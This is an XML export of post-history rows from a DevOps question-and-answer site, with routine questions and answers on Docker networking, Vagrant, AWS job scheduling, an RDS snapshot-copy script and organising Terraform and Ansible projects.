  <row Id="9470" PostHistoryTypeId="13" PostId="3013" RevisionGUID="9e62df7d-203c-4c93-8ce7-2b8d64d0525a" CreationDate="2018-01-03T13:52:32.537" UserId="13" Text="{&quot;Voters&quot;:[{&quot;Id&quot;:13,&quot;DisplayName&quot;:&quot;Tensibai&quot;}]}" />
  <row Id="9471" PostHistoryTypeId="5" PostId="2984" RevisionGUID="de3076b0-8b1c-4dae-92e7-b34c03d8b08e" CreationDate="2018-01-03T15:17:29.833" UserId="5898" Comment="added 8 characters in body" Text="I am refactoring my local environment from PHP/apache/MAMP-pro to PHP/apache/Docker.&#xD;&#xA;&#xD;&#xA; What is the proper configuration to implement a reverse proxy (in order to maintain the named-url site functionality of MAMP-pro) in this environment without the use of third party tools (IE Caddy server or NGINX)&#xD;&#xA;&#xD;&#xA;" ContentLicense="CC BY-SA 3.0" />
  <row Id="9472" PostHistoryTypeId="10" PostId="2984" RevisionGUID="341c93e6-5414-44cd-8f12-b7e6e60b35b9" CreationDate="2018-01-03T17:27:29.833" UserId="13" Comment="103" Text="{&quot;Voters&quot;:[{&quot;Id&quot;:210,&quot;DisplayName&quot;:&quot;030&quot;},{&quot;Id&quot;:40,&quot;DisplayName&quot;:&quot;Pierre.Vriens&quot;},{&quot;Id&quot;:960,&quot;DisplayName&quot;:&quot;Xiong Chiamiov&quot;},{&quot;Id&quot;:13,&quot;DisplayName&quot;:&quot;Tensibai&quot;}]}" />
  <row Id="9473" PostHistoryTypeId="50" PostId="1635" RevisionGUID="b09cef7a-e3d3-44d3-b36f-90ce4813134a" CreationDate="2018-01-03T18:29:20.387" UserId="-1" />
  <row Id="9474" PostHistoryTypeId="5" PostId="2984" RevisionGUID="cf7d5be1-2c83-4920-bdfe-f12e94aa0b7d" CreationDate="2018-01-03T20:21:23.233" UserId="5898" Comment="Made goal more clear " Text="I am refactoring my local environment from PHP/apache/MAMP-pro to PHP/apache/Docker.&#xD;&#xA;&#xD;&#xA; What is the proper configuration to implement a reverse proxy (in order to maintain the named-url site functionality of MAMP-pro) in this environment without the use of third party tools (IE Caddy server or NGINX)&#xD;&#xA;&#xD;&#xA;My goal is to have a bunch of Docker Apache/PHP containers running at once, each running one application that is accessible by a named URL. " ContentLicense="CC BY-SA 3.0" />
  <row Id="9475" PostHistoryTypeId="5" PostId="2984" RevisionGUID="4b78edd2-8b41-48c7-98a4-67dcdf77ef67" CreationDate="2018-01-03T20:59:04.577" UserId="5898" Comment="Removed redundant terms " Text="I am refactoring my local environment from MAMP-pro to PHP/apache/Docker.&#xD;&#xA;&#xD;&#xA;What is the proper configuration to implement a reverse proxy (in order to maintain the named-url site functionality of MAMP-pro) in this environment without the use of third party tools (IE Caddy server or NGINX)&#xD;&#xA;&#xD;&#xA;My goal is to have a bunch of Docker Apache/PHP containers running at once, each running one application that is accessible by a named URL. " ContentLicense="CC BY-SA 3.0" />
  <row Id="9476" PostHistoryTypeId="2" PostId="3025" RevisionGUID="d2b224f2-f081-4123-bb11-84191f83e9ca" CreationDate="2018-01-04T05:25:30.743" UserId="5879" Text="Docker actually provides DNS support for networking between containers. This means that if you define your database connection as:&#xD;&#xA;&#xD;&#xA;    http://redis:6379&#xD;&#xA;&#xD;&#xA;This will resolve `redis` to the correct network address, given that you fulfill the following:&#xD;&#xA;&#xD;&#xA;- All containers are on the same network&#xD;&#xA;- The containers have been named&#xD;&#xA;&#xD;&#xA;This can either be done manually by starting both instances via the [cli](https://docs.docker.com/engine/reference/commandline/cli/) or automated with a [docker compose](https://docs.docker.com/compose/gettingstarted/) script, which is *my recommendation*. In the compose script, from version 3, you would define the both services (aka the containers):&#xD;&#xA;&#xD;&#xA;    version: &quot;3&quot;&#xD;&#xA;    services:&#xD;&#xA;      web:&#xD;&#xA;        build: ./web&#xD;&#xA;        container_name: web&#xD;&#xA;        networks:&#xD;&#xA;          - backend&#xD;&#xA;        command: bash -c &quot;./start.sh&quot;&#xD;&#xA;&#xD;&#xA;      redis:&#xD;&#xA;        image: redis:3.2&#xD;&#xA;        container_name: redis&#xD;&#xA;        networks:&#xD;&#xA;          - backend&#xD;&#xA;&#xD;&#xA;And at the end of the file, define the network both instances should be connected to:&#xD;&#xA;&#xD;&#xA;    networks:&#xD;&#xA;      backend:" ContentLicense="CC BY-SA 3.0" />
  <row Id="9477" PostHistoryTypeId="2" PostId="3026" RevisionGUID="a511f3e0-06db-4c3b-a134-515e1c69ddc4" CreationDate="2018-01-04T07:46:05.233" UserId="2845" Text="One consideration might be lock-in. For example, Amazon's cloud can become expensive very quickly - either because compute ends up being more than you estimated or there is always the possibility that Amazon decides to raise the cost of their compute price. This could cause you to want to change cloud providers to a cheaper one or perhaps you scale to a point at which it makes more financial sense to insource.&#xD;&#xA;&#xD;&#xA;Another scenario could be that Amazon's cloud somehow becomes breached. For example, [the Spectre and Meltdown exploits are particularly nasty on hypervisors](https://arstechnica.com/gadgets/2018/01/meltdown-and-spectre-every-modern-processor-has-unfixable-security-flaws/) and offer some possibility and prospect of breaking out of a guest into the hypervisor or gaining sensitive information from another tenant on the hypervisor.&#xD;&#xA;&#xD;&#xA;These hypothetical and potential scenarios might or might not become realized and may or may not be realistic but nevertheless by choosing something that is easily exported to another cloud allows you to remain agile and easily deploy into another cloud or to insource. This guards against these above scenarios or any others that could arise.&#xD;&#xA;&#xD;&#xA;There is nothing more important in this regard than your configuration management system - especially if you are using an [immutable architecture] and/or a [cattle-not-pets](https://devops.stackexchange.com/questions/653/what-is-the-definition-of-cattle-not-pets) philosophy as this allows you to simply begin spinning up new compute instances in the new cloud or cluster immediately. You needn't migrate virtual machines. (and hopefully you don't have a large amount of data to export).&#xD;&#xA;&#xD;&#xA;So that is to say: Perhaps it would be wise to avoid AWS stacks so you aren't locked into this particular vendor." ContentLicense="CC BY-SA 3.0" />
  <row Id="9484" PostHistoryTypeId="2" PostId="3027" RevisionGUID="9c534cd8-61df-4e37-9179-c790c97a659b" CreationDate="2018-01-04T12:25:48.333" UserId="5953" Text="I have downloaded the Windows Server 2016 iso from Microsoft for evaluation.&#xD;&#xA;&#xD;&#xA;I then installed it via VirtualBox on my Macbook Pro running the latest Mac OS (High Sierra).&#xD;&#xA;&#xD;&#xA;I downloaded Docker for Windows but when I try to load it, it either fails with an error saying it cannot write to database, or it fails because it says virtualization / Hyper-V has to be enabled in BIOS.&#xD;&#xA;&#xD;&#xA;I have Hyper-V selected in the VirtualBox settings so that should work (and restarted the virtual machine).&#xD;&#xA;&#xD;&#xA;However it still fails.&#xD;&#xA;&#xD;&#xA;Is it possible to run Docker for Windows on a Windows Virtual Machine, all hosted on Mac OS?" ContentLicense="CC BY-SA 3.0" />
  <row Id="9485" PostHistoryTypeId="1" PostId="3027" RevisionGUID="9c534cd8-61df-4e37-9179-c790c97a659b" CreationDate="2018-01-04T12:25:48.333" UserId="5953" Text="Run docker inside a VirtualBox of Windows Server 2016 (GUI) on Mac OS" ContentLicense="CC BY-SA 3.0" />
  <row Id="9486" PostHistoryTypeId="3" PostId="3027" RevisionGUID="9c534cd8-61df-4e37-9179-c790c97a659b" CreationDate="2018-01-04T12:25:48.333" UserId="5953" Text="&lt;docker&gt;&lt;windows&gt;" ContentLicense="CC BY-SA 3.0" />
  <row Id="9487" PostHistoryTypeId="50" PostId="2778" RevisionGUID="351eb9dd-94d4-45b9-8478-7e5d5eb03c62" CreationDate="2018-01-04T17:50:22.247" UserId="-1" />
  <row Id="9489" PostHistoryTypeId="5" PostId="2778" RevisionGUID="74984d7e-7958-4d07-a76f-a6a93f182464" CreationDate="2018-01-04T22:03:32.473" UserId="4175" Comment="deleted 211 characters in body" Text="# Background&#xD;&#xA;&#xD;&#xA;I have an application which comes with a Vagrant setup that is designed for this usage scenario:&#xD;&#xA;&#xD;&#xA;    Laptop (Windows, Virtualbox host) =&gt; edit source code&#xD;&#xA;    +----&gt; Vagrant VM (Linux) =&gt; build and run&#xD;&#xA;&#xD;&#xA;Plain, default, simple, works. The sources are on a shared/synced directory, i.e., they are usually edited on the Windows host and then compiled and ran inside the VM.&#xD;&#xA;&#xD;&#xA;Unfortunately, I prefer to use Linux development tools myself. Right now, I have this setup:&#xD;&#xA;&#xD;&#xA;    Laptop (Windows)&#xD;&#xA;    +----&gt; Vagrant VM&#xD;&#xA;    +----&gt; My personal VM (Linux, non-vagrant)&#xD;&#xA;&#xD;&#xA;So my editor etc. run in the personal VM, and I have a common directory shared through Virtualbox. Again, everything works just fine. &#xD;&#xA;&#xD;&#xA;Here is the problem: &#xD;&#xA;&#xD;&#xA;To control the vagrant stuff, I need to enter the `vagrant` commands in the Windows shell, which is slowing me down. For example, to run the build inside the vagrant VM, I would prefer to use a hotkey in my editor to start `vagrant ssh build.sh` instead of switching to the CMD.EXE and entering that command. Unneccessary context switch.&#xD;&#xA;&#xD;&#xA;# Question&#xD;&#xA;&#xD;&#xA;I don't wish to open the can of worms that is &quot;virtualization inside virtualization&quot; (i.e., I won't run Linux Virtualbox inside a Windows-hosted VM); so this keeps me with these two alternatives:&#xD;&#xA;&#xD;&#xA;Is there a way to control the &quot;Windows-Vagrant&quot; that is running on the Windows host from inside a Linux VM (which itself is not under Vagrant control), i.e., to use `vagrant up` or `vagrant ssh`?&#xD;&#xA;&#xD;&#xA;Alternatively, is it possible to install &quot;Linux-Vagrant&quot; in my existing VM right away (i.e. the Debian version) and have it create its VM in the *Windows* host?&#xD;&#xA;&#xD;&#xA;Or is there a completely different way to solve this problem in an elegant fashion?" ContentLicense="CC BY-SA 3.0" />
  <row Id="9491" PostHistoryTypeId="2" PostId="3030" RevisionGUID="91abb72b-7804-44ca-a275-5df2cd96ba48" CreationDate="2018-01-05T08:34:52.943" UserId="13" Text="One possible but kind of ugly and very brittle workaround could be to use winrm to launch the vagrant commands on windows from linux 'remotely'.&#xD;&#xA;&#xD;&#xA;This need a networking setup for the VM so it can talk to the host through tcp/ip (configuration done on the virtualization you use), [configuring winrm](https://github.com/diyan/pywinrm#enabling-winrm-on-remote-host) on the windows host (if your company allows it) and then using something like [pywinrm](https://github.com/diyan/pywinrm) (first found with a quick search) or any other tool in your language of choice." ContentLicense="CC BY-SA 3.0" />
  <row Id="9492" PostHistoryTypeId="2" PostId="3031" RevisionGUID="84603058-dc92-4949-b5bc-d74a95e8358a" CreationDate="2018-01-05T12:23:48.217" UserId="4997" Text="I'm trying to scale up my push notification infrastructure. We currently use laravel app running on 2 ec2 instances horizontally scaled behind a load balancer, and each instance has a beanstalk queue engine that processes jobs created by laravel (including push notification jobs).&#xD;&#xA;&#xD;&#xA;the problem is that this solution is not performant. Sometimes we send a marketing push to all our clients.. numbering in the thousands, and the time range difference between the first push notification and the last can be many hours.&#xD;&#xA;&#xD;&#xA;I was considering what infrastructure would be good options. I considered AWS SQS, but it turns out that it's max delay job capacity is 15 minutes. In my business, customers can make pre-orders 20 hours before. So what we currently do is scheduled a delayed job 20 hours from now.&#xD;&#xA;&#xD;&#xA;But then some people suggested that the delayed part should only happen at the application level (ie `delay(work, timedelta(hours=20))`), and that would allow me to use SQS anyways. Their reasoning is that delaying jobs is a business logic thing, and it's best handled at an application level and not an infrastructure level. &#xD;&#xA;&#xD;&#xA;I'm not sure I agree.. and that's why I'm picking AWS elastic cache with redis. What do you guys think?" ContentLicense="CC BY-SA 3.0" />
  <row Id="9493" PostHistoryTypeId="1" PostId="3031" RevisionGUID="84603058-dc92-4949-b5bc-d74a95e8358a" CreationDate="2018-01-05T12:23:48.217" UserId="4997" Text="Is it better to perform delayed jobs using queues or at app level?" ContentLicense="CC BY-SA 3.0" />
  <row Id="9494" PostHistoryTypeId="3" PostId="3031" RevisionGUID="84603058-dc92-4949-b5bc-d74a95e8358a" CreationDate="2018-01-05T12:23:48.217" UserId="4997" Text="&lt;amazon-sqs&gt;" ContentLicense="CC BY-SA 3.0" />
  <row Id="9495" PostHistoryTypeId="2" PostId="3032" RevisionGUID="a1e2f4b8-f3b9-4e55-ab7a-8e6353fdc869" CreationDate="2018-01-05T13:30:42.093" UserId="13" Text="This sounds on the fence with opinion based but I think there's an important thing that narrow enough the problem to be answered.&#xD;&#xA;&#xD;&#xA;It is still an opinion but, as far as you're horizontally scaling, instances may appear and disappear at will, keeping the delay in memory is thus not an option, so at this point you'll have to workaround this and bake something like a notifications queue/table to keep what is to be sent at which time and periodically check what is to be sent.&#xD;&#xA;&#xD;&#xA;Once that is said, you'll need a central place somewhere to keep the needed notifications out of the app instance themselves and as such you'll need a place to store them, it could be a redis service, a database table or whatever, you'll be coding it anyway.&#xD;&#xA;&#xD;&#xA;When working on AWS, the services provided are already redundant and on high availability without much effort needed on your part, as such I'd go with an application code storing the notification somewhere with the time to send it and a lambda checking periodically which notification has to be sent, the notification can then be sent through SQS to take advantage of the retries in case of delivery failure or you'll have to handle it in the notification firing system.&#xD;&#xA;&#xD;&#xA;The store part being elastic cache or something else is a matter of taste and team knowledge in my opinion, take whatever you're more comfortable with.  &#xD;&#xA;For the part firing the notifications I'd use something separated from the app itself, another app or a lambda checking periodically the 'cache' (DB or redis or whatever) for notifications to be sent.&#xD;&#xA;&#xD;&#xA;This allows the app to be sure the notification once declared and acknowledged by the cache is properly registered and will be fired when needed and retried in case of problem. A last case is the impossibility to deliver the notification and you may have to keep track of this in the application to avoid sending too much notifications ending as dead letter but that's sliding out of scope for this question." ContentLicense="CC BY-SA 3.0" />
  <row Id="9500" PostHistoryTypeId="2" PostId="3034" RevisionGUID="f6981787-d6a4-4b42-ba42-d0bb216fbc40" CreationDate="2018-01-05T23:53:03.383" UserId="5968" Text="I would recommend using a scheduler to schedule job execution, rather than building logic to delay execution. Schedulers give you the added advantage of status updates. Consider using Simple Workflow Service from AWS.&#xD;&#xA;&#xD;&#xA;Instead of using beanstalk queue engine, could you use Lambda to process your marketing jobs? Simple Workflow Service works with Lambda. You don't have to worry about scaling with Lambda.&#xD;&#xA;&#xD;&#xA;" ContentLicense="CC BY-SA 3.0" />
  <row Id="9501" PostHistoryTypeId="2" PostId="3035" RevisionGUID="e492f81e-cb43-432e-8e86-c0e1bf49357f" CreationDate="2018-01-05T23:57:59.530" UserId="5968" Text="The cost will depend on the number of messages you write per second. Most often DDB is cheaper. If you have a large throughput, 10k requests per second, then your DDB costs will need to be carefully considered vs. RDS.&#xD;&#xA;&#xD;&#xA;In this case however, I would actually reccommend using S3 to output your log messages to a file. I think technically this will be a good enough solutin, at a fraction of the cost to setup and maintain compared to either DDB or RDS." ContentLicense="CC BY-SA 3.0" />
  <row Id="9502" PostHistoryTypeId="2" PostId="3036" RevisionGUID="da638c99-fda8-4ed3-9628-fb304d2f8829" CreationDate="2018-01-06T10:11:04.803" UserId="887" Text="You will require a **script** that interacts with the **AWS cli**.&#xD;&#xA;&#xD;&#xA;I have put together the following script which will **look for all encrypted DBS snapshots and then copy all of them to a different region**. It can also be modified to copy unencrypted snapshots to a different region and then encrypt them.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&gt; I have explained the script in the comments. It is quite **dirty**...&#xD;&#xA;&gt; so feel free to **improve** it!&#xD;&#xA;&#xD;&#xA;    #!/usr/bin/env bash&#xD;&#xA;    #&#xD;&#xA;    # Copy encrypted or unencrypted DBSnapshots to an encrypted DBSnapshot in a different region&#xD;&#xA;    #&#xD;&#xA;    &#xD;&#xA;    aws_profile=&quot;&quot; &#xD;&#xA;    aws_source_region=&quot;&quot; &#xD;&#xA;    aws_dest_region=&quot;&quot; &#xD;&#xA;    aws_kms_key_id=&quot;&quot; #destination kms key ID &#xD;&#xA;    num=1&#xD;&#xA;    &#xD;&#xA;    aws --profile &quot;${aws_profile}&quot; --region &quot;${aws_source_region}&quot; rds describe-db-snapshots \&#xD;&#xA;      --query 'DBSnapshots[*].[DBSnapshotArn,Encrypted]' \  &#xD;&#xA;      --output text &gt; rds-snapshots-list.txt&#xD;&#xA;    &#xD;&#xA;    echo &quot;Encrypted snapshots&quot; &#xD;&#xA;    awk '{IGNORECASE=1}{if ($2 == &quot;True&quot;) print}' rds-snapshots-list.txt #Show list of encrypted snapshots &#xD;&#xA;    echo &quot;Unencrypted snapshots&quot; &#xD;&#xA;    awk '{IGNORECASE=1}{if ($2 == &quot;False&quot;) print}' rds-snapshots-list.txt #Show list of unencrypted snapshots&#xD;&#xA;    &#xD;&#xA;    IFS=$'\n' read -d '' -r -a rds_list_lines &lt; rds-snapshots-list.txt #Move txt file content into an array&#xD;&#xA;    &#xD;&#xA;    echo &quot;Copying encrypted snapshots from ${aws_source_region} to ${aws_dest_region}&quot; &#xD;&#xA;    for i in &quot;${rds_list_lines[@]}&quot;; do #Loop through array   &#xD;&#xA;    if [[ &quot;${i}&quot; == *&quot;True&quot;* ]]; then #Check for encrypted rds snapshot &amp; if true copy snapshot&#xD;&#xA;        source_snapshot_ident=&quot;$( echo &quot;${i}&quot; | sed 's/[[:blank:]]True.*//')&quot; #Remove all spaces tabs and the word true&#xD;&#xA;        target_snapshot_ident=&quot;$( echo &quot;$source_snapshot_ident&quot; | sed 's/.*:snapshot:rds:.//')snapshotcopy$num&quot; #Name of target snapshot with incrementing number&#xD;&#xA;        ((num++))&#xD;&#xA;    &#xD;&#xA;        aws --profile &quot;${aws_profile}&quot; --region &quot;${aws_dest_region}&quot; rds copy-db-snapshot \&#xD;&#xA;          --source-db-snapshot-identifier &quot;${source_snapshot_ident}&quot; \&#xD;&#xA;          --target-db-snapshot-identifier &quot;${target_snapshot_ident}&quot; \&#xD;&#xA;          --source-region &quot;${aws_source_region}&quot; \&#xD;&#xA;          --kms-key-id &quot;${aws_kms_key_id}&quot;   &#xD;&#xA;    fi &#xD;&#xA;    done&#xD;&#xA;&#xD;&#xA;" ContentLicense="CC BY-SA 3.0" />
  <row Id="9509" PostHistoryTypeId="50" PostId="2749" RevisionGUID="bcfbdf9c-7be6-4bb3-9d93-22ee0fcdc52f" CreationDate="2018-01-06T20:27:46.190" UserId="-1" />
  <row Id="9510" PostHistoryTypeId="5" PostId="2045" RevisionGUID="5218648a-a0a1-4f18-9376-a842ec7faefe" CreationDate="2018-01-07T00:52:56.847" UserId="4369" Comment="Thanks @Tensibai" Text="It's a bit hacky, but you can always do something like:&#xD;&#xA;&#xD;&#xA;    check_process:&#xD;&#xA;      cmd.run:&#xD;&#xA;        name: ps aux | grep '[f]oobar'&#xD;&#xA;&#xD;&#xA;The exit code will be non-0 and the state will fail if `foobar` doesn't exist." ContentLicense="CC BY-SA 3.0" />
  <row Id="9514" PostHistoryTypeId="50" PostId="2836" RevisionGUID="29e4b461-d4b5-43e3-903e-c24cd905a5f7" CreationDate="2018-01-07T21:46:54.103" UserId="-1" />
  <row Id="9515" PostHistoryTypeId="2" PostId="3038" RevisionGUID="cfa0be2f-3486-4853-af8b-4dc88e3d9ebc" CreationDate="2018-01-08T01:26:29.313" UserId="5988" Text="I have completed an infrastructure as code project using terraform and ansible. Currently, I organize my project as follows:&#xD;&#xA;&#xD;&#xA;    Project1&#xD;&#xA;        Terraform&#xD;&#xA;          ec2.tf&#xD;&#xA;          rds.tf&#xD;&#xA;          …&#xD;&#xA;          variables.tf&#xD;&#xA;          scripts\&lt;some script files&gt;&#xD;&#xA;          templetes\&lt;some tfl files as templates&gt;&#xD;&#xA;        Ansible&#xD;&#xA;          Playbooks&lt;some playbook yml files&gt; &#xD;&#xA;             playbook1.yml&#xD;&#xA;             playbook2.yml&#xD;&#xA;             ……&#xD;&#xA;          ansible_hosts&#xD;&#xA;          vars\&lt;some variable files used by vars_file&gt;&#xD;&#xA;          files\&lt;files to be copied to remote hosts&gt;&#xD;&#xA;          templates\&lt;jinja2 templated files&gt;&#xD;&#xA;          roles\&lt;some roles such as webserver, dbserver, etc.&gt;&#xD;&#xA;&#xD;&#xA;Note I did not layout Ansible code using the following links yet:&#xD;&#xA;https://leucos.github.io/ansible-files-layout&#xD;&#xA;http://docs.ansible.com/ansible/latest/playbooks_best_practices.html&#xD;&#xA;&#xD;&#xA;e.g. I did not put vars/, templates/, files/ to individual role folder since Most of my roles did not have vars and templates. Besides, I want to manage vars, templates, files in one file instead of multiple roles, so I moved vars/, templates/ and files/ out of roles/&#xD;&#xA;&#xD;&#xA;For my next project, I may build an infrastructure as code project using cloudformation/terraform and ansible/chef. next, I may work on Jenkins, code pipeline, and so on.&#xD;&#xA;&#xD;&#xA;In general, should I organize my devOps projects based on projects, in this way:&#xD;&#xA;&#xD;&#xA;    Project1:&#xD;&#xA;      Terraform&#xD;&#xA;      Ansible&#xD;&#xA;    Project2:&#xD;&#xA;      Terraform&#xD;&#xA;      Ansible&#xD;&#xA;      ......&#xD;&#xA;&#xD;&#xA;Or should I organize my devOps projects based on tools, in this way:&#xD;&#xA;&#xD;&#xA;    Terraform&#xD;&#xA;      Project1&#xD;&#xA;      Project2&#xD;&#xA;    Ansible&#xD;&#xA;      Project1&#xD;&#xA;      Project2&#xD;&#xA;    Cloudformation&#xD;&#xA;      Project3&#xD;&#xA;      Project4&#xD;&#xA;&#xD;&#xA;I believe separate with projects makes more sense. but then how do we reuse code? for example, what if project1 and project2 use similar terraform code and some ansible roles. and I want to reuse the code of project1 to project2?&#xD;&#xA;&#xD;&#xA;or is there any typical samples online I can refer? " ContentLicense="CC BY-SA 3.0" />
  <row Id="9516" PostHistoryTypeId="1" PostId="3038" RevisionGUID="cfa0be2f-3486-4853-af8b-4dc88e3d9ebc" CreationDate="2018-01-08T01:26:29.313" UserId="5988" Text="How to organize infrastructure as code projects?" ContentLicense="CC BY-SA 3.0" />
  <row Id="9517" PostHistoryTypeId="3" PostId="3038" RevisionGUID="cfa0be2f-3486-4853-af8b-4dc88e3d9ebc" CreationDate="2018-01-08T01:26:29.313" UserId="5988" Text="&lt;infrastructure-as-code&gt;" ContentLicense="CC BY-SA 3.0" />
  <row Id="9518" PostHistoryTypeId="5" PostId="3038" RevisionGUID="feb30050-83ba-4f0e-ba65-cfefce37e10f" CreationDate="2018-01-08T09:36:21.967" UserId="397" Comment="Post formatting and tags" Text="I have completed an Infrastructure-as-Code project using Terraform and Ansible. Currently, I organize my project as follows:&#xD;&#xA;&#xD;&#xA;    Project1&#xD;&#xA;        Terraform&#xD;&#xA;          ec2.tf&#xD;&#xA;          rds.tf&#xD;&#xA;          …&#xD;&#xA;          variables.tf&#xD;&#xA;          scripts\&lt;some script files&gt;&#xD;&#xA;          templetes\&lt;some tfl files as templates&gt;&#xD;&#xA;        Ansible&#xD;&#xA;          Playbooks&lt;some playbook yml files&gt; &#xD;&#xA;             playbook1.yml&#xD;&#xA;             playbook2.yml&#xD;&#xA;             ……&#xD;&#xA;          ansible_hosts&#xD;&#xA;          vars\&lt;some variable files used by vars_file&gt;&#xD;&#xA;          files\&lt;files to be copied to remote hosts&gt;&#xD;&#xA;          templates\&lt;jinja2 templated files&gt;&#xD;&#xA;          roles\&lt;some roles such as webserver, dbserver, etc.&gt;&#xD;&#xA;&#xD;&#xA;Note I did not layout Ansible code using the following links yet:&#xD;&#xA;&#xD;&#xA; - https://leucos.github.io/ansible-files-layout&#xD;&#xA; - http://docs.ansible.com/ansible/latest/playbooks_best_practices.html&#xD;&#xA;&#xD;&#xA;e.g. I did not put `vars/`, `templates/`, `files/` to individual role folder since Most of my roles did not have vars and templates. Besides, I want to manage `vars`, `templates`, `files` in one file instead of multiple roles, so I moved `vars/`, `templates/` and `files/` out of `roles/`.&#xD;&#xA;&#xD;&#xA;For my next project, I may build an Infrastructure-as-code project using CloudFormation/Terraform and Ansible/Chef. Next, I may work on Jenkins, code pipeline, and so on.&#xD;&#xA;&#xD;&#xA;In general, should I organize my DevOps projects based on projects, in this way:&#xD;&#xA;&#xD;&#xA;    Project1:&#xD;&#xA;      Terraform&#xD;&#xA;      Ansible&#xD;&#xA;    Project2:&#xD;&#xA;      Terraform&#xD;&#xA;      Ansible&#xD;&#xA;      ......&#xD;&#xA;&#xD;&#xA;Or should I organize my DevOps projects based on tools, in this way:&#xD;&#xA;&#xD;&#xA;    Terraform&#xD;&#xA;      Project1&#xD;&#xA;      Project2&#xD;&#xA;    Ansible&#xD;&#xA;      Project1&#xD;&#xA;      Project2&#xD;&#xA;    Cloudformation&#xD;&#xA;      Project3&#xD;&#xA;      Project4&#xD;&#xA;&#xD;&#xA;I believe separate with projects makes more sense. but then how do we reuse code? for example, what if project1 and project2 use similar terraform code and some ansible roles. and I want to reuse the code of project1 to project2?&#xD;&#xA;&#xD;&#xA;or is there any typical samples online I can refer? " ContentLicense="CC BY-SA 3.0" />
  <row Id="9519" PostHistoryTypeId="6" PostId="3038" RevisionGUID="feb30050-83ba-4f0e-ba65-cfefce37e10f" CreationDate="2018-01-08T09:36:21.967" UserId="397" Comment="Post formatting and tags" Text="&lt;ansible&gt;&lt;terraform&gt;&lt;infrastructure-as-code&gt;&lt;repository&gt;" ContentLicense="CC BY-SA 3.0" />
  <row Id="9520" PostHistoryTypeId="2" PostId="3039" RevisionGUID="0c924fcd-2057-4395-9d38-51c96f2f48aa" CreationDate="2018-01-08T09:54:08.567" UserId="397" Text="The layout of your repository depends in many ways upon the context you are developing the automation in.  If, for example, you are building out the infrastructure for a product as part of a product team, then it would make sense to tie the infrastructure to the product - i.e. keep the infrastructure in the same repository as the software source code.&#xD;&#xA;&#xD;&#xA;If however, you are building out common infrastructure components to stand-up basic infrastructure for DNS, File Storage, Email, etc. then it probably makes more sense to have a single `common-infrastructure` repository.  Some of this will be tied to the tool you are using, Terraform for example leads you down the path of having a single repository for all of your environments to support the [`terraform.tfstate` construct][1].&#xD;&#xA;&#xD;&#xA;# Reusability&#xD;&#xA;&#xD;&#xA;You quite rightly called out reusability and code sharing as a problem you are going to encounter sooner rather than later.  This is an important principle in Software Development called **Don't Repeat Yourse - or DRY** for short.  Most all DevOps tools allow you to modularize your code in such a way that you don't need to copy/paste code:&#xD;&#xA;&#xD;&#xA; - [Terraform Modules][2]&#xD;&#xA; - [Ansible Roles][3]&#xD;&#xA; - [Chef Libraries][4]&#xD;&#xA; - [Jenkins Plugins][5]&#xD;&#xA;&#xD;&#xA;# Conceptual Consistency&#xD;&#xA;&#xD;&#xA;I **advise** that you don't use too many tools, try and standardise on a single tool rather than changing tools for each project, typically you see sets of tools being used across an organization:&#xD;&#xA;&#xD;&#xA; - Jenkins, Terraform and Ansible&#xD;&#xA; - TeamCity, Octopus Deploy and Desired State Configuration&#xD;&#xA;&#xD;&#xA;This makes it easier to share code across projects, document what has been done so far and handover the code to other or future developers.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://www.terraform.io/docs/state/&#xD;&#xA;  [2]: https://www.terraform.io/docs/modules/usage.html&#xD;&#xA;  [3]: https://docs.ansible.com/ansible/2.4/playbooks_reuse.html&#xD;&#xA;  [4]: https://docs.chef.io/libraries.html&#xD;&#xA;  [5]: https://plugins.jenkins.io/" ContentLicense="CC BY-SA 3.0" />
  <row Id="9521" PostHistoryTypeId="2" PostId="3040" RevisionGUID="fc920cae-a127-465a-b609-56a368e2792b" CreationDate="2018-01-08T11:22:31.373" UserId="5994" Text="I have a vagrant box running on windows 10 hyper-v&#xD;&#xA;&#xD;&#xA;config.vm.box = &quot;kmm/ubuntu-xenial64&quot; #A standard Ubuntu 16.04 LTS (x64).  &#xD;&#xA;config.vm.provider &quot;hyperv&quot;  &#xD;&#xA;&#xD;&#xA;Just after provisioning it, it seems to be running o.k.&#xD;&#xA;but then if I exit and ssh back to it then trivial actions such as pressing tab after typing `cd /vag` would take tons of time (e.g 30 sec or more)&#xD;&#xA;and after that a `cd /vagrant` worked o.k.&#xD;&#xA;then ls -la worked o.k.&#xD;&#xA;and another `ls -la` took something like 3 minutes or so.&#xD;&#xA;&#xD;&#xA;During that time hyper-v is showing the virtual machine at 0% CPU.&#xD;&#xA;&#xD;&#xA;Any suggestions on where I should look to try and figure out why is this happening?&#xD;&#xA;" ContentLicense="CC BY-SA 3.0" />
  <row Id="9522" PostHistoryTypeId="1" PostId="3040" RevisionGUID="fc920cae-a127-465a-b609-56a368e2792b" CreationDate="2018-01-08T11:22:31.373" UserId="5994" Text="Vagrant box take long time to access shared /vagrant folder" ContentLicense="CC BY-SA 3.0" />
  <row Id="9523" PostHistoryTypeId="3" PostId="3040" RevisionGUID="fc920cae-a127-465a-b609-56a368e2792b" CreationDate="2018-01-08T11:22:31.373" UserId="5994" Text="&lt;vagrant&gt;" ContentLicense="CC BY-SA 3.0" />
  <row Id="9524" PostHistoryTypeId="2" PostId="3041" RevisionGUID="49698530-6f11-4dc9-8d66-068f632f2d67" CreationDate="2018-01-08T15:03:13.607" UserId="736" Text="We use the [AWS CloudWatch Logs Publisher][1] plugin on our Jenkins and most of the time the logs are sent within 2-5 seconds of the request being sent out. However, sometimes the step will hang for up to 5-10 minutes, with no errors in the console or in Jenkins' log. The job hangs with the following status message;&#xD;&#xA;&#xD;&#xA;&gt; AWS CloudWatch Logs Publisher is waiting for a checkpoint on [...]&#xD;&#xA;&#xD;&#xA;It always completes successfully, even with the delay. &#xD;&#xA;&#xD;&#xA;Has anyone seen this before? Is there anything I can do to prevent the step hanging? &#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://wiki.jenkins.io/display/JENKINS/AWS+CloudWatch+Logs+Publisher+Plugin" ContentLicense="CC BY-SA 3.0" />
  <row Id="9525" PostHistoryTypeId="1" PostId="3041" RevisionGUID="49698530-6f11-4dc9-8d66-068f632f2d67" CreationDate="2018-01-08T15:03:13.607" UserId="736" Text="AWS CloudWatch Logs Publisher plugin hangs on job completion" ContentLicense="CC BY-SA 3.0" />
